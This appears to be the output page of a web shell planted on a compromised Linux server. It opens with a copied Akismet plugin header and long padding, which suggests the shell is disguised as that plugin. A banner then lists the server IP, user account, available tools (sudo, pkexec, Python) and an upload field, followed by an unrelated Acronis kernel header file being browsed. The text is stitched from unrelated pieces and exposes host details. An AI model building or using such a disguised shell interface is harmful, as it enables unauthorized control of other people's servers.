#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/file_protector-1.1-234/transport/ |
Upload File : |
/**
@file
@brief kernel/userspace transport messages
@details Copyright (c) 2017-2020 Acronis International GmbH
@author Mikhail Krivtsov (mikhail.krivtsov@acronis.com)
@since $Id: $
*/
#pragma once
#include "transport.h"
#include "transport_protocol.h"
#include <linux/atomic.h>
#include <linux/list.h>
#include <linux/types.h> // bool, size_t, [u]int(8|16|32|64)_t
#include <linux/wait.h>
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// 'msg_img_t' accessors
#define IMG_ID(msg_img) *(&(msg_img)->id)
#define IMG_REPLY(msg_img) *(&(msg_img)->reply)
#define IMG_TYPE(msg_img) *(&(msg_img)->type)
#define IMG_PAYLOAD(msg_img) (void *) (msg_img)->payload
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// To reduce memory overhead 'msg_img_t' is embedded into 'msg_t'
typedef struct msg_s msg_t;
struct msg_s {
atomic_t ref_cnt;
atomic_t reply_wait_count; // number of expected replies
wait_queue_head_t wait_queue; // to wait for 'reply'
size_t img_size;
bool interrupted;
bool block;
uint8_t img[0]; // 'msg_img_t'
};
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// 'msg_t' accessors
#define MSG_IMG(msg) (msg_img_t *) (msg)->img
#define MSG_SIZE(msg) (msg)->img_size
#define MSG_ID(msg) IMG_ID(MSG_IMG(msg))
#define MSG_REPLY(msg) IMG_REPLY(MSG_IMG(msg))
#define MSG_TYPE(msg) IMG_TYPE(MSG_IMG(msg))
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
const char* msg_type_to_string(msg_type_t type);
msg_t *msg_new(size_t msg_img_size);
msg_t *msg_new_nowait(size_t msg_img_size);
msg_t *msg_new_type(size_t msg_img_size, msg_type_t type);
msg_t *msg_new_type_nowait(size_t msg_img_size, msg_type_t type);
msg_t *msg_ref(msg_t *msg);
void msg_unref(msg_t *msg);
msg_t *msg_reply_wait_count_inc(msg_t *msg);
void msg_reply_wait_count_dec(msg_t *msg);
msg_t *hello_msg_new(void);
msg_t *ping_reply_msg_new(msg_t *ping_msg);
msg_t *pong_msg_new(msg_t *ping_msg);
int pid_info_msg_new(msg_t **msg, pid_t nr);
int fs_root_msg_new(msg_t **msg, pid_t nr);
// checks pid's 'executable file' and sends 'exec' message in case of change
// FIXME: move out of 'message.*'
void detect_exec(void);
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// sending messages via default 'transport'
void send_msg_async(msg_t *msg);
bool send_msg_sync_nowait(msg_t *msg);
void send_msg_sync(msg_t *msg);
void send_msg_sync_unref(msg_t *msg);
void send_reply(msg_t *query, msg_t *reply);